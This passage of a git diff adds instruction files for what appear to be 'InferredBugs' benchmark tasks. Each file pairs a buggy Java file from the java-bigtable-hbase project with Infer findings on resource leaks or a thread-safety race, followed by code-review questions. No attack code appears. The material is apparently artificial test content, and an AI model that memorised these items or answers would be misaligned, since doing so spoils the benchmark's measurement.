+    when(mockFuture.isDone()).thenReturn(true);
+  }
+
+  private BatchExecutor createExecutor(BigtableOptions options) {
+    when(mockBigtableSession.getOptions()).thenReturn(options);
+    return new BatchExecutor(mockBigtableSession, requestAdapter);
+  }
+
+  private Result[] batch(final List<? extends org.apache.hadoop.hbase.client.Row> actions)
+      throws Exception {
+    return createExecutor(options).batch(actions);
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.google.cloud.bigtable.grpc.async.BulkMutationWrapper` acquired by call to `createExecutor(...)` at line 256 is not released after line 256.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestBatchExecutor.testGetCallback()
+
+### Procedure Id:
+com.google.cloud.bigtable.hbase.TestBatchExecutor.testGetCallback():void.0ce9af028ea3231858e84ecf1cae6d49
+
+### File:
+bigtable-client-core-parent/bigtable-hbase/src/test/java/com/google/cloud/bigtable/hbase/TestBatchExecutor.java
+
+### Key:
+TestBatchExecutor.java|testGetCallback|RESOURCE_LEAK
+
+### Node Key:
+9e1312bc421f72aa7689e7770f4e6f7d
+
+### Hash:
+4c0327b7d0716f1dc804e26f3b9b4bd0
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4368/instruction.md b/inferredbugs-4368/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..fbdcb4ff38fff2f8ddab112a179ec90dc14934dc
--- /dev/null
+++ b/inferredbugs-4368/instruction.md
@@ -0,0 +1,416 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** java-bigtable-hbase
+**Bug ID:** 68
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2015 Google Inc. All Rights Reserved.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.google.cloud.bigtable.hbase;
+
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.same;
+import static org.mockito.Mockito.doAnswer;
+import static org.mockito.Mockito.doReturn;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+import static org.mockito.hamcrest.MockitoHamcrest.argThat;
+
+import com.google.api.core.ApiFuture;
+import com.google.api.core.ApiFutures;
+import com.google.cloud.bigtable.config.BigtableOptions;
+import com.google.cloud.bigtable.core.IBigtableDataClient;
+import com.google.cloud.bigtable.core.IBulkMutation;
+import com.google.cloud.bigtable.data.v2.models.Query;
+import com.google.cloud.bigtable.data.v2.models.ReadModifyWriteRow;
+import com.google.cloud.bigtable.data.v2.models.RowMutationEntry;
+import com.google.cloud.bigtable.grpc.BigtableSession;
+import com.google.cloud.bigtable.grpc.BigtableTableName;
+import com.google.cloud.bigtable.grpc.async.BulkRead;
+import com.google.cloud.bigtable.grpc.scanner.FlatRow;
+import com.google.cloud.bigtable.grpc.scanner.FlatRow.Cell;
+import com.google.cloud.bigtable.hbase.adapters.Adapters;
+import com.google.cloud.bigtable.hbase.adapters.HBaseRequestAdapter;
+import com.google.cloud.bigtable.hbase.util.ByteStringer;
+import com.google.common.collect.ImmutableList;
+import com.google.protobuf.ByteString;
+import com.google.protobuf.Empty;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Executor;
+import java.util.concurrent.atomic.AtomicInteger;
+import org.apache.commons.lang.RandomStringUtils;
+import org.apache.hadoop.conf.Configuration;
+import org.apache.hadoop.hbase.TableName;
+import org.apache.hadoop.hbase.client.Append;
+import org.apache.hadoop.hbase.client.Delete;
+import org.apache.hadoop.hbase.client.Get;
+import org.apache.hadoop.hbase.client.Increment;
+import org.apache.hadoop.hbase.client.Put;
+import org.apache.hadoop.hbase.client.Result;
+import org.apache.hadoop.hbase.client.RetriesExhaustedWithDetailsException;
+import org.apache.hadoop.hbase.client.RowMutations;
+import org.apache.hadoop.hbase.client.coprocessor.Batch.Callback;
+import org.apache.hadoop.hbase.util.Bytes;
+import org.hamcrest.BaseMatcher;
+import org.hamcrest.Description;
+import org.hamcrest.Matcher;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.mockito.Mock;
+import org.mockito.Mockito;
+import org.mockito.invocation.InvocationOnMock;
+import org.mockito.junit.MockitoJUnit;
+import org.mockito.junit.MockitoRule;
+import org.mockito.stubbing.Answer;
+
+/** Tests {@link BatchExecutor} */
+@SuppressWarnings({"unchecked", "rawtypes"})
+public class TestBatchExecutor {
+  @Rule public final MockitoRule mockitoRule = MockitoJUnit.rule();
+
+  private static Put randomPut() {
+    return new Put(randomBytes(8))
+        .addColumn(Bytes.toBytes("cf"), Bytes.toBytes("qual"), Bytes.toBytes("SomeValue"));
+  }
+
+  private static byte[] randomBytes(int count) {
+    return Bytes.toBytes(RandomStringUtils.random(count));
+  }
+
+  private static Matcher<Result> matchesRow(final Result expected) {
+    return new BaseMatcher<Result>() {
+
+      @Override
+      public void describeTo(Description description) {}
+
+      @Override
+      public boolean matches(Object item) {
+        try {
+          Result.compareResults((Result) item, expected);
+          return true;
+        } catch (Exception e) {
+          return false;
+        }
+      }
+
+      @Override
+      public void describeMismatch(Object item, Description mismatchDescription) {}
+    };
+  }
+
+  @Mock private BigtableSession mockBigtableSession;
+
+  @Mock private BulkRead mockBulkRead;
+
+  @Mock private IBulkMutation mockBulkMutation;
+
+  @Mock private IBigtableDataClient mockDataClient;
+
+  @Mock private ApiFuture mockFuture;
+
+  private HBaseRequestAdapter requestAdapter;
+
+  private BigtableOptions options;
+
+  @Before
+  public void setup() {
+    options =
+        BigtableOptions.builder().setProjectId("projectId").setInstanceId("instanceId").build();
+    requestAdapter =
+        new HBaseRequestAdapter(options, TableName.valueOf("table"), new Configuration(false));
+
+    when(mockBulkMutation.add(any(RowMutationEntry.class))).thenReturn(mockFuture);
+    when(mockBigtableSession.getDataClientWrapper()).thenReturn(mockDataClient);
+    when(mockDataClient.readModifyWriteRowAsync(any(ReadModifyWriteRow.class)))
+        .thenReturn(mockFuture);
+    when(mockBigtableSession.createBulkMutationWrapper(any(BigtableTableName.class)))
+        .thenReturn(mockBulkMutation);
+    when(mockBigtableSession.createBulkRead(any(BigtableTableName.class))).thenReturn(mockBulkRead);
+    doAnswer(
+            new Answer<Void>() {
+              @Override
+              public Void answer(InvocationOnMock invocation) throws Throwable {
+                invocation.getArgument(0, Runnable.class).run();
+                return null;
+              }
+            })
+        .when(mockFuture)
+        .addListener(any(Runnable.class), any(Executor.class));
+    doReturn(true).when(mockFuture).isDone();
+  }
+
+  @Test
+  public void testGet() throws Exception {
+    when(mockBulkRead.add(any(Query.class))).thenReturn(mockFuture);
+    final byte[] key = randomBytes(8);
+    FlatRow response = FlatRow.newBuilder().withRowKey(ByteString.copyFrom(key)).build();
+    setFuture(ImmutableList.of(response));
+    Result[] results = batch(Arrays.asList(new Get(key)));
+    Assert.assertTrue(
+        matchesRow(Adapters.FLAT_ROW_ADAPTER.adaptResponse(response)).matches(results[0]));
+  }
+
+  @Test
+  public void testPut() throws Exception {
+    testMutation(randomPut());
+  }
+
+  @Test
+  public void testDelete() throws Exception {
+    testMutation(new Delete(randomBytes(8)));
+  }
+
+  @Test
+  public void testAppend() throws Exception {
+    testMutation(new Append(randomBytes(8)));
+  }
+
+  @Test
+  public void testIncrement() throws Exception {
+    testMutation(new Increment(randomBytes(8)));
+  }
+
+  @Test
+  public void testRowMutations() throws Exception {
+    testMutation(new RowMutations(randomBytes(8)));
+  }
+
+  @Test
+  public void testShutdownService() throws Exception {
+    when(mockFuture.get()).thenThrow(new IllegalStateException("closed"));
+    try {
+      batch(Arrays.asList(randomPut()));
+    } catch (RetriesExhaustedWithDetailsException e) {
+      Assert.assertEquals(1, e.getCauses().size());
+      Assert.assertEquals(IllegalStateException.class, e.getCause(0).getClass());
+    }
+  }
+
+  @Test
+  public void testAsyncException() throws Exception {
+    String message = "Something bad happened";
+    when(mockFuture.get()).thenThrow(new RuntimeException(message));
+    try {
+      batch(Arrays.asList(randomPut()));
+    } catch (RetriesExhaustedWithDetailsException e) {
+      Assert.assertEquals(1, e.getCauses().size());
+      Assert.assertEquals(RuntimeException.class, e.getCause(0).getClass());
+      Assert.assertEquals(message, e.getCause(0).getMessage());
+    }
+  }
+
+  @Test
+  public void testPartialResults() throws Exception {
+    byte[] key1 = randomBytes(8);
+    byte[] key2 = randomBytes(8);
+    FlatRow response1 =
+        FlatRow.newBuilder()
+            .withRowKey(ByteString.copyFrom(key1))
+            .addCell(
+                new Cell(
+                    "cf",
+                    ByteString.EMPTY,
+                    10,
+                    ByteString.copyFromUtf8("hi!"),
+                    new ArrayList<String>()))
+            .build();
+
+    RuntimeException exception = new RuntimeException("Something bad happened");
+    when(mockBulkRead.add(any(Query.class)))
+        .thenReturn(ApiFutures.immediateFuture(response1))
+        .thenReturn(ApiFutures.<FlatRow>immediateFailedFuture(exception));
+
+    List<Get> gets = Arrays.asList(new Get(key1), new Get(key2));
+    Object[] results = new Object[2];
+
+    try {
+      createExecutor(options).batch(gets, results);
+    } catch (RetriesExhaustedWithDetailsException ignored) {
+    }
+    Assert.assertTrue("first result is a result", results[0] instanceof Result);
+    Assert.assertTrue(Bytes.equals(((Result) results[0]).getRow(), key1));
+    Assert.assertEquals(exception, results[1]);
+  }
+
+  @Test
+  public void testGetCallback() throws Exception {
+    when(mockBulkRead.add(any(Query.class))).thenReturn(mockFuture);
+    byte[] key = randomBytes(8);
+    FlatRow response = FlatRow.newBuilder().withRowKey(ByteString.copyFrom(key)).build();
+    setFuture(ImmutableList.of(response));
+    final Callback<Result> callback = Mockito.mock(Callback.class);
+    List<Get> gets = Arrays.asList(new Get(key));
+    createExecutor(options).batchCallback(gets, new Object[1], callback);
+
+    verify(callback, times(1))
+        .update(
+            same(BatchExecutor.NO_REGION),
+            same(key),
+            argThat(matchesRow(Adapters.FLAT_ROW_ADAPTER.adaptResponse(response))));
+  }
+
+  @Test
+  public void testBatchBulkGets() throws Exception {
+    final List<Get> gets = new ArrayList<>(10);
+    final List<ApiFuture<FlatRow>> expected = new ArrayList<>(10);
+
+    gets.add(new Get(Bytes.toBytes("key0")));
+    expected.add(ApiFutures.<FlatRow>immediateFuture(null));
+    for (int i = 1; i < 10; i++) {
+      byte[] row_key = randomBytes(8);
+      gets.add(new Get(row_key));
+      ByteString key = ByteStringer.wrap(row_key);
+      ByteString cellValue = ByteString.copyFrom(randomBytes(8));
+      expected.add(
+          ApiFutures.immediateFuture(
+              FlatRow.newBuilder()
+                  .withRowKey(key)
+                  .addCell("family", ByteString.EMPTY, System.nanoTime() / 1000, cellValue)
+                  .build()));
+    }
+
+    // Test 10 gets, but return only 9 to test the row not found case.
+    when(mockBulkRead.add(any(Query.class)))
+        .then(
+            new Answer<ApiFuture<FlatRow>>() {
+              final AtomicInteger counter = new AtomicInteger();
+
+              @Override
+              public ApiFuture<FlatRow> answer(InvocationOnMock invocation) throws Throwable {
+                return expected.get(counter.getAndIncrement());
+              }
+            });
+    ByteString key = ByteStringer.wrap(randomBytes(8));
+    ByteString cellValue = ByteString.copyFrom(randomBytes(8));
+    FlatRow row =
+        FlatRow.newBuilder()
+            .withRowKey(key)
+            .addCell("family", ByteString.EMPTY, System.nanoTime() / 1000, cellValue)
+            .build();
+    when(mockFuture.get()).thenReturn(row);
+
+    BatchExecutor underTest = createExecutor(options);
+    Result[] results = underTest.batch(gets);
+    verify(mockBulkRead, times(10)).add(any(Query.class));
+    verify(mockBulkRead, times(1)).flush();
+    Assert.assertTrue(matchesRow(Result.EMPTY_RESULT).matches(results[0]));
+    for (int i = 1; i < results.length; i++) {
+      Assert.assertTrue(
+          "Expected "
+              + Bytes.toString(gets.get(i).getRow())
+              + " but was "
+              + Bytes.toString(results[i].getRow()),
+          Bytes.equals(results[i].getRow(), gets.get(i).getRow()));
+    }
+  }
+
+  // HELPERS
+
+  private void testMutation(org.apache.hadoop.hbase.client.Row mutation) throws Exception {
+    setFuture(Empty.getDefaultInstance());
+    Result[] results = batch(Arrays.asList(mutation));
+    Assert.assertTrue(matchesRow(Result.EMPTY_RESULT).matches(results[0]));
+  }
+
+  protected void setFuture(Object response) throws InterruptedException, ExecutionException {
+    when(mockFuture.get()).thenReturn(response);
+    when(mockFuture.isDone()).thenReturn(true);
+  }
+
+  private BatchExecutor createExecutor(BigtableOptions options) {
+    when(mockBigtableSession.getOptions()).thenReturn(options);
+    return new BatchExecutor(mockBigtableSession, requestAdapter);
+  }
+
+  private Result[] batch(final List<? extends org.apache.hadoop.hbase.client.Row> actions)
+      throws Exception {
+    return createExecutor(options).batch(actions);
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.google.cloud.bigtable.grpc.async.BulkMutationWrapper` acquired by call to `createExecutor(...)` at line 340 is not released after line 340.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+org.apache.hadoop.hbase.client.Result[] TestBatchExecutor.batch(List)
+
+### Procedure Id:
+com.google.cloud.bigtable.hbase.TestBatchExecutor.batch(java.util.List):org.apache.hadoop.hbase.clie.8525f6d1b41a395f8eb029e6d2768894
+
+### File:
+bigtable-client-core-parent/bigtable-hbase/src/test/java/com/google/cloud/bigtable/hbase/TestBatchExecutor.java
+
+### Key:
+TestBatchExecutor.java|batch|RESOURCE_LEAK
+
+### Node Key:
+fc2aaab75798aab82b2a0cd752e0ecce
+
+### Hash:
+4ef76ac39c99a6328c7109d4afd5d701
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4392/instruction.md b/inferredbugs-4392/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8bebcd31d7f2eafe164eb9fb063492941ee4cc4e
--- /dev/null
+++ b/inferredbugs-4392/instruction.md
@@ -0,0 +1,369 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** java-bigtable-hbase
+**Bug ID:** 17
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2015 Google Inc. All Rights Reserved.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.google.cloud.bigtable.grpc.async;
+
+import io.grpc.Status.Code;
+import java.io.IOException;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.ScheduledExecutorService;
+import java.util.concurrent.TimeUnit;
+
+import javax.annotation.Nullable;
+import com.google.api.client.util.BackOff;
+import com.google.api.client.util.Sleeper;
+import com.google.cloud.bigtable.config.Logger;
+import com.google.cloud.bigtable.config.RetryOptions;
+import com.google.cloud.bigtable.grpc.io.ChannelPool;
+import com.google.cloud.bigtable.grpc.scanner.BigtableRetriesExhaustedException;
+import com.google.cloud.bigtable.metrics.Timer;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Preconditions;
+import com.google.common.util.concurrent.AbstractFuture;
+import com.google.common.util.concurrent.ListenableFuture;
+
+import io.grpc.CallOptions;
+import io.grpc.ClientCall;
+import io.grpc.Metadata;
+import io.grpc.Status;
+import io.grpc.StatusRuntimeException;
+
+/**
+ * A {@link com.google.common.util.concurrent.AsyncFunction} that retries a {@link com.google.cloud.bigtable.grpc.async.BigtableAsyncRpc} request.
+ *
+ * @author sduskis
+ * @version $Id: $Id
+ */
+public abstract class AbstractRetryingOperation<RequestT, ResponseT, ResultT>
+    extends ClientCall.Listener<ResponseT>  {
+
+  /** Constant <code>LOG</code> */
+  protected final static Logger LOG = new Logger(AbstractRetryingOperation.class);
+
+  // The server-side has a 5 minute timeout. Unary operations should be timed-out on the client side
+  // after 6 minutes.
+  protected final static long UNARY_DEADLINE_MINUTES = 6l;
+
+  protected class GrpcFuture<RespT> extends AbstractFuture<RespT> {
+    @Override
+    protected void interruptTask() {
+      AbstractRetryingOperation.this.cancel("Request interrupted.");
+    }
+
+    @Override
+    protected boolean set(@Nullable RespT resp) {
+      return super.set(resp);
+    }
+
+    @Override
+    protected boolean setException(Throwable throwable) {
+      return super.setException(throwable);
+    }
+  }
+
+  protected BackOff currentBackoff;
+  @VisibleForTesting
+  Sleeper sleeper = Sleeper.DEFAULT;
+
+  protected final BigtableAsyncRpc<RequestT, ResponseT> rpc;
+  protected final RetryOptions retryOptions;
+  protected final ScheduledExecutorService retryExecutorService;
+
+  private final RequestT request;
+  private final CallOptions callOptions;
+  private final Metadata originalMetadata;
+
+  protected int failedCount = 0;
+
+  protected final GrpcFuture<ResultT> completionFuture;
+  protected Object callLock = new String("");
+  protected ClientCall<RequestT, ResponseT> call;
+  private Timer.Context operationTimerContext;
+  protected Timer.Context rpcTimerContext;
+
+  /**
+   * <p>Constructor for AbstractRetryingRpcListener.</p>
+   *
+   * @param retryOptions a {@link com.google.cloud.bigtable.config.RetryOptions} object.
+   * @param request a RequestT object.
+   * @param retryableRpc a {@link com.google.cloud.bigtable.grpc.async.BigtableAsyncRpc} object.
+   * @param callOptions a {@link io.grpc.CallOptions} object.
+   * @param retryExecutorService a {@link java.util.concurrent.ScheduledExecutorService} object.
+   * @param originalMetadata a {@link io.grpc.Metadata} object.
+   */
+  public AbstractRetryingOperation(
+          RetryOptions retryOptions,
+          RequestT request,
+          BigtableAsyncRpc<RequestT, ResponseT> retryableRpc,
+          CallOptions callOptions,
+          ScheduledExecutorService retryExecutorService,
+          Metadata originalMetadata) {
+    this.retryOptions = retryOptions;
+    this.request = request;
+    this.rpc = retryableRpc;
+    this.callOptions = callOptions;
+    this.retryExecutorService = retryExecutorService;
+    this.originalMetadata = originalMetadata;
+    this.completionFuture = createCompletionFuture();
+  }
+
+  protected GrpcFuture<ResultT> createCompletionFuture() {
+    return new GrpcFuture<>();
+  }
+
+  /** {@inheritDoc} */
+  @Override
+  public void onClose(Status status, Metadata trailers) {
+    synchronized (callLock) {
+      call = null;
+    }
+    rpcTimerContext.close();
+
+    Status.Code code = status.getCode();
+
+    // OK
+    if (code == Status.Code.OK) {
+      if (onOK()) {
+        operationTimerContext.close();
+      }
+      return;
+    }
+
+    // CANCELLED
+    if (code == Status.Code.CANCELLED) {
+      // An explicit user cancellation is not considered a failure.
+      operationTimerContext.close();
+      return;
+    }
+
+    // Non retry scenario
+    if (!retryOptions.enableRetries()
+        || !retryOptions.isRetryable(code)
+        // Unauthenticated is special because the request never made it to
+        // to the server, so all requests are retryable
+        || !(isRequestRetryable() || code == Code.UNAUTHENTICATED)) {
+      rpc.getRpcMetrics().markFailure();
+      operationTimerContext.close();
+      setException(status.asRuntimeException());
+      return;
+    }
+
+    // Attempt retry with backoff
+    long nextBackOff = getNextBackoff();
+    failedCount += 1;
+
+    // Backoffs timed out.
+    if (nextBackOff == BackOff.STOP) {
+      rpc.getRpcMetrics().markRetriesExhasted();
+      operationTimerContext.close();
+
+      String message = String.format("Exhausted retries after %d failures.", failedCount);
+      StatusRuntimeException cause = status.asRuntimeException();
+      setException(new BigtableRetriesExhaustedException(message, cause));
+      return;
+    } else {
+      String channelId = ChannelPool.extractIdentifier(trailers);
+      LOG.info("Retrying failed call. Failure #%d, got: %s on channel %s",
+          status.getCause(), failedCount, status, channelId);
+    }
+
+    performRetry(nextBackOff);
+  }
+
+  protected void performRetry(long nextBackOff) {
+    rpc.getRpcMetrics().markRetry();
+    retryExecutorService.schedule(getRunnable(), nextBackOff, TimeUnit.MILLISECONDS);
+  }
+
+  protected Runnable getRunnable() {
+    return new Runnable() {
+      @Override
+      public void run() {
+        AbstractRetryingOperation.this.run();
+      }
+    };
+  }
+
+  protected boolean isRequestRetryable() {
+    return rpc.isRetryable(getRetryRequest());
+  }
+
+  protected void setException(Exception exception) {
+    completionFuture.setException(exception);
+  }
+
+  /**
+   * A subclass has the opportunity to perform the final operations it needs now that the RPC is
+   * successfully complete. If a subclass has to retry, due to the message, this method will return
+   * false
+   * @return true if the operation was really completed.
+   */
+  protected abstract boolean onOK();
+
+  protected long getNextBackoff() {
+    if (currentBackoff == null) {
+      currentBackoff = retryOptions.createBackoff();
+    }
+    try {
+      return currentBackoff.nextBackOffMillis();
+    } catch (IOException e) {
+      return BackOff.STOP;
+    }
+  }
+
+  /**
+   * Calls {@link BigtableAsyncRpc#startNewCall(CallOptions, Object, io.grpc.ClientCall.Listener,
+   * Metadata)} with this as the listener so that retries happen correctly.
+   */
+  protected void run() {
+    rpcTimerContext = rpc.getRpcMetrics().timeRpc();
+    Metadata metadata = new Metadata();
+    metadata.merge(originalMetadata);
+    synchronized (callLock) {
+      call = rpc.startNewCall(getCallOptions(), getRetryRequest(), this, metadata);
+    }
+  }
+
+  protected CallOptions getCallOptions() {
+    return callOptions;
+  }
+
+  protected RequestT getRetryRequest() {
+    return request;
+  }
+
+  public final RequestT getOriginalRequest() {
+    return request;
+  }
+
+  /**
+   * Initial execution of the RPC.
+   */
+  public ListenableFuture<ResultT> getAsyncResult() {
+    Preconditions.checkState(operationTimerContext == null);
+    operationTimerContext = rpc.getRpcMetrics().timeOperation();
+    run();
+    return completionFuture;
+  }
+
+  /**
+   * Cancels the RPC.
+   */
+  public void cancel() {
+    cancel("User requested cancelation.");
+  }
+
+  public ResultT getBlockingResult() {
+    try {
+      return getAsyncResult().get();
+    } catch (InterruptedException e) {
+      Thread.currentThread().interrupt();
+      cancel();
+      throw Status.CANCELLED.withCause(e).asRuntimeException();
+    } catch (ExecutionException e) {
+      cancel();
+      throw Status.fromThrowable(e).asRuntimeException();
+    }
+  }
+
+  /**
+   * Cancels the RPC with a specific message.
+   *
+   * @param message
+   */
+  protected void cancel(final String message) {
+    synchronized (callLock) {
+      if (call != null) {
+        call.cancel(message, null);
+        call = null;
+      }
+    }
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `com.google.cloud.bigtable.grpc.async.AbstractRetryingOperation.onClose` reads without synchronization from `this.com.google.cloud.bigtable.grpc.async.AbstractRetryingOperation.failedCount`. Potentially races with write in method `AbstractRetryingOperation.onClose(...)`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void AbstractRetryingOperation.onClose(Status,Metadata)
+
+### Procedure Id:
+com.google.cloud.bigtable.grpc.async.AbstractRetryingOperation.onClose(io.grpc.Status,io.grpc.Metada.e53f52ce0617da69325438994065534b
+
+### File:
+bigtable-client-core-parent/bigtable-client-core/src/main/java/com/google/cloud/bigtable/grpc/async/AbstractRetryingOperation.java
+
+### Key:
+AbstractRetryingOperation.java|onClose|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+e5162b34feb0740d72bd8b28dc155e7f
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4395/instruction.md b/inferredbugs-4395/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e12358387e6708ce41134c21e4bdc89dcade497a
--- /dev/null
+++ b/inferredbugs-4395/instruction.md
@@ -0,0 +1,392 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** java-bigtable-hbase
+**Bug ID:** 19
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2015 Google Inc. All Rights Reserved.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.google.cloud.bigtable.grpc.async;
+
+import io.grpc.Status.Code;
+import java.io.IOException;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Future;
+import java.util.concurrent.ScheduledExecutorService;
+import java.util.concurrent.TimeUnit;
+
+import javax.annotation.Nullable;
+import com.google.api.client.util.BackOff;
+import com.google.api.client.util.Sleeper;
+import com.google.bigtable.v2.BigtableGrpc;
+import com.google.cloud.bigtable.config.Logger;
+import com.google.cloud.bigtable.config.RetryOptions;
+import com.google.cloud.bigtable.grpc.CallOptionsFactory;
+import com.google.cloud.bigtable.grpc.io.ChannelPool;
+import com.google.cloud.bigtable.grpc.scanner.BigtableRetriesExhaustedException;
+import com.google.cloud.bigtable.metrics.Timer;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Preconditions;
+import com.google.common.util.concurrent.AbstractFuture;
+import com.google.common.util.concurrent.ListenableFuture;
+
+import io.grpc.CallOptions;
+import io.grpc.ClientCall;
+import io.grpc.Metadata;
+import io.grpc.MethodDescriptor;
+import io.grpc.MethodDescriptor.MethodType;
+import io.grpc.Status;
+
+/**
+ * A {@link ClientCall.Listener} that retries a {@link BigtableAsyncRpc} request.
+ */
+public abstract class AbstractRetryingOperation<RequestT, ResponseT, ResultT>
+    extends ClientCall.Listener<ResponseT>  {
+
+  /** Constant <code>LOG</code> */
+  protected static final Logger LOG = new Logger(AbstractRetryingOperation.class);
+
+  // The server-side has a 5 minute timeout. Unary operations should be timed-out on the client side
+  // after 6 minutes.
+  protected static final long UNARY_DEADLINE_MINUTES = 6l;
+
+  protected class GrpcFuture<RespT> extends AbstractFuture<RespT> {
+    /**
+     * This gets called from {@link Future#cancel(boolean)} for cancel(true). If a user explicitly
+     * cancels the Future, that should trigger a cancellation of the RPC.
+     */
+    @Override
+    protected void interruptTask() {
+      if (!isDone()) {
+        AbstractRetryingOperation.this.cancel("Request interrupted.");
+      }
+    }
+
+    @Override
+    public boolean set(@Nullable RespT resp) {
+      return super.set(resp);
+    }
+
+    @Override
+    public boolean setException(Throwable throwable) {
+      return super.setException(throwable);
+    }
+  }
+
+  protected BackOff currentBackoff;
+  @VisibleForTesting
+  Sleeper sleeper = Sleeper.DEFAULT;
+
+  protected final BigtableAsyncRpc<RequestT, ResponseT> rpc;
+  protected final RetryOptions retryOptions;
+  protected final ScheduledExecutorService retryExecutorService;
+
+  private final RequestT request;
+  private final CallOptions callOptions;
+  private final Metadata originalMetadata;
+
+  protected int failedCount = 0;
+
+  protected final GrpcFuture<ResultT> completionFuture;
+  protected Object callLock = new String("");
+  protected ClientCall<RequestT, ResponseT> call;
+  protected Timer.Context operationTimerContext;
+  protected Timer.Context rpcTimerContext;
+
+  /**
+   * <p>Constructor for AbstractRetryingRpcListener.</p>
+   *
+   * @param retryOptions a {@link com.google.cloud.bigtable.config.RetryOptions} object.
+   * @param request a RequestT object.
+   * @param retryableRpc a {@link com.google.cloud.bigtable.grpc.async.BigtableAsyncRpc} object.
+   * @param callOptions a {@link io.grpc.CallOptions} object.
+   * @param retryExecutorService a {@link java.util.concurrent.ScheduledExecutorService} object.
+   * @param originalMetadata a {@link io.grpc.Metadata} object.
+   */
+  public AbstractRetryingOperation(
